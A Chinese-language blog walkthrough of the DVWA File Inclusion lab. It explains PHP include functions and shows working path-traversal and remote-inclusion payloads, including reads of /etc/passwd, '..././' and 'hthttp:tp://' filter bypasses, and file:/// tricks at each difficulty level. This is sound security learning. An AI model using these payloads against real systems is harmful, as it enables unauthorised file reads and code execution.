File Inclusion
前言
我覺得還是先介紹下，因爲涉及到php函數，自己不會 世界最好的語言 ，所以引用他人的優秀的博客來裝飾下我這簡陋的博客
文件包含漏洞：即File Inclusion，意思是文件包含（漏洞），是指當服務器開啓allow_url_include選項時，就可以通過php的某些特性函數（include()，require()和include_once()，require_once()）利用url去動態包含文件，此時如果沒有對文件來源進行嚴格審查，就會導致任意文件讀取或者任意命令執行。文件包含漏洞分爲本地文件包含漏洞與遠程文件包含漏洞，遠程文件包含漏洞是因爲開啓了php配置中的allow_url_fopen選項（選項開啓之後，服務器允許包含一個遠程的文件）。服務器通過php的特性（函數）去包含任意文件時，由於要包含的這個文件來源過濾不嚴，從而可以去包含一個惡意文件，而我們可以構造這個惡意文件來達到自己的目的。
文件包含分爲兩類：
本地文件包含 當被包含的文件在服務器本地時，就形成本地文件包含；
遠程文件包含 當被包含的文件在第三方服務器時，叫做遠程文件包含
該漏洞涉及到php常見包含文件函數包括：
include()
當使用該函數包含文件時，只有代碼執行到include()函數時纔將文件包含進來，發生錯誤時只給出一個警告，繼續向下執行
include_once()
功能和include()相同，區別在於當重複調用同一文件時，程序只調用一次
require()
require()與include()的區別在於require()執行如果發生錯誤，函數會輸出錯誤信息，並終止腳本的運行 。使用require()函數包含文件時，只要程序一執行，立即調用文件，而include()只有程序執行到函數時才調用 .require()在php程序執行前執行，會先讀入 require 所指定引入的文件，使它變成 PHP 程序網頁的一部份。
require_once()
它的功能與require()相同，區別在於當重複調用同一文件時，程序只調用一次
我來說下我對上面的理解吧，php後端，要想執行文件包含這騷操作，allow_url_include必須開啓，然後利用上面提到的4個函數，這些函數對文件不會檢測（檢測也不該由這些函數來做），所以我們能將我們想要用的文件名交給它解析就很好了，來獲取我們需要的信息（感覺和溢出有點像啊，也是一些東西沒做檢測，然後攻擊者通過構造payload來讓目標執行指定的文件從而實現攻擊）。
然後遠程執行就是allow_url_fopen也必須開啓，我們指定文件就不止限制於目標機的目錄，還可以讓它去指定服務器去讀文件了。
還有一點這個文件包含不是指一個URL像什麼.html，.php什麼的，這裏的URL是要包含一個文件路徑，這個文件路徑是php後臺程序會去調用的。也就是說php後臺程序要有include等函數中函數去調用這個路徑
目前查了下說PHP5.2開始allow_url_include開始就默認爲off
練習
emmm…一打開文件包含的界面就彈出了這個…真的很不友好啊…
現在能幹嘛，當然是改配置文嘍，這次的上帝模式還是官方許可的
這裏要注意下文件的位置
可以發現資源文件夾下也有個php.ini，而且裏面也有allow_url_include，還是on…
打開文件它也說了不一定能生效…（確實也沒生效）
好吧，還是來找下吧
沒錯就是第一個，vim打開然後查找allow_url_include改爲On，接着重啓下服務（我這裏直接重啓容器就好了）。打開網頁就會發現已經沒有allow_url_include is not enable已經沒有了。
下面開始練習吧
Low
先來做最簡單的嘗試，這裏第一次嘗試我們先感受下成功的快感
看我們訪問file1.php的時候，url是下面這樣，返回了我們的ip
http://192.168.2.123:8325/vulnerabilities/fi/?page=file1.php
這裏我們猜測應該是服務器後臺執行了file1.php，返回了我們的ip
這裏我們將file1替換成/etc/passwd
我們可以看到將passwd的內容返回了…
一來就成功，信心膨脹再來試下/etc/shadow
是的，打臉來的就是這麼快…這次什麼信息也沒返回
…
經歷了前面sql注入的波折，這裏我們很自然的想到是權限的問題
沒錯，可以看出就是權限的額問題，shadow不是所有人都可以讀取，這裏的執行權限也很顯然不是root
上面的路徑是絕對路徑，還有一種相對路徑的構造方法（雖然我覺得沒什麼卵用，極有可能被飛速打臉）
這裏的相對路徑指可以用…/…/…/…/…/…/來跳到根目錄（Windows是…\…\…\…\…\）…跳到根目錄後你後面還是要跟文件路徑啊…Windows你可以說不知道盤符？（你都知道文件路徑了還不知道盤符的概率有多大？？？）…目前而言在我眼裏是真的沒什麼太大用（好期待後面被打臉）
這裏多加一些…/…/…/都是沒問題的，但不能加少不然到不了根目錄，後面接路徑就不對了
爲了演示遠程執行我們再來run一個dvwa…（docker是真方便，打call）
這裏特意掛載了一個文件夾方便傳文件，這時候我們網/var/www/html/hack下創建一個phpinfo.txt文件，裏面內容如下
這時候我們利用文件包含漏洞，這時候的文件位置寫你遠程主機的文件地址（這裏是http://192.168.2.123:5678\hack\phpinfo.txt 注意這裏要有http://）
我們可以看到成功的顯示了php的信息
這裏我最大的感受就是遠程執行直接解決了獲取文件路徑這一最大難點吧，而且還可以自己來構造文件了。
然後說增加隱蔽性可以對文件地址進行url編碼（不太理解這裏的增加隱蔽性）
用burp來編碼
也沒有問題，能執行，但還是不太能理解所謂的增加隱蔽性
Medium
來到meidum等級，還是先來嘗試本機的絕對路徑，發現沒有問題和前面low級別一樣成功了…看樣子medium設的坎是不針對本機絕對路徑了（也可見知道路徑後的強大）
既然上面成功了下面的操作肯定就不會很順利，果然用相對路徑的方法時就失敗了…
嗯，沒錯失敗了…我們發現加了一堆…/…/之後就失效了，這時候我們很容易猜測是不是被服務器過濾了，我們來加一個/再試下
我們可以看到加了一個/後就成功了，所以可以推測出，應該是服務器將…/替換爲了空
前面還是相當於使用了絕對路徑，非要使用相對路徑怎麼辦呢？
…/./…/./…/./…/./ 看前面的字符串，…/被替換爲空後就成功變爲了…/…/…/…/…/
成功，這種替換的方法很不靠譜…總能有機會繞過（Windows爲\）
再來試下遠程的方法
可以看到不行，猜測應該也是替換，構造試下 hthttp:tp://192.168.2.123:5678/hack/phpinfo.txt
可以看到成功了
可不可以利用編碼來進行繞過了？
可以看到是不可以的，解碼是在瀏覽器端完成的，所以發過去的是解碼後的值
（對於a-zA-Z這樣的字符，瀏覽器在發送請求前會做解碼；而對於URL不支持的字符，比如%20，瀏覽器是不做解碼的，真正的解碼是在服務器上（apache/nginx）做的）
上圖可以看到用構造後的值進行url編碼後是可以的…(這不廢話)
medium等級對page參數進行了一定的處理
審計源碼可以看見Medium級別的代碼增加了str_replace函數，對page參數進行了一定的處理，將”http:// ”、”https://”、 ” …/”、”…\”替換爲空字符，即刪除。
High
到high級別我們還是先來嘗試服務器本機的絕對路徑
emmm…不行，而且還返回了一個錯誤提示。講道理要是沒有源碼來審計，我感覺我現在就可以放棄了
看了下源碼必須要file開頭…好吧這個可以通過它正常的url中找規律來總結出有file開頭…
…這裏說的是可以利用file協議繞過，我能說什麼就是這麼巧…
簡單說就是用file:///+文件的地址，其實就等價於文件的地址…
可以看到file:///加上本地地址就成功訪問了
相對路徑也成功了
file協議用於訪問本地文件所有，遠程就不行了
Impossible
impossible這裏就是指定page接受的值有哪些，必須爲“include.php”、“file1.php”、“file2.php”、“file3.php”之一
我覺得這很好理解了…
我記得以前用django以前做動態頁面的時候是添加路由和映射來做的
反而前面等級那種直接發送文件名過去這種操作我是不太能理解的，至少也做個映射吧…
當然作爲菜雞的我並沒有什麼實際開發經驗也不會世界上最好的語言，而且畢竟這也是十大漏洞之一啊，
作爲開發者一定要引以爲戒…
總結
文件包含要成功首先對方肯定要有這個漏洞纔行（感覺這點就很難），然後要知道路徑（最好是絕對路徑，嘗試一些默認路徑，當然要是可以遠程執行就最好了），最後注意對方的規則限制，可能需要自己來構造一下。
現在回想一遍感覺比sql注入的技術含量要低啊…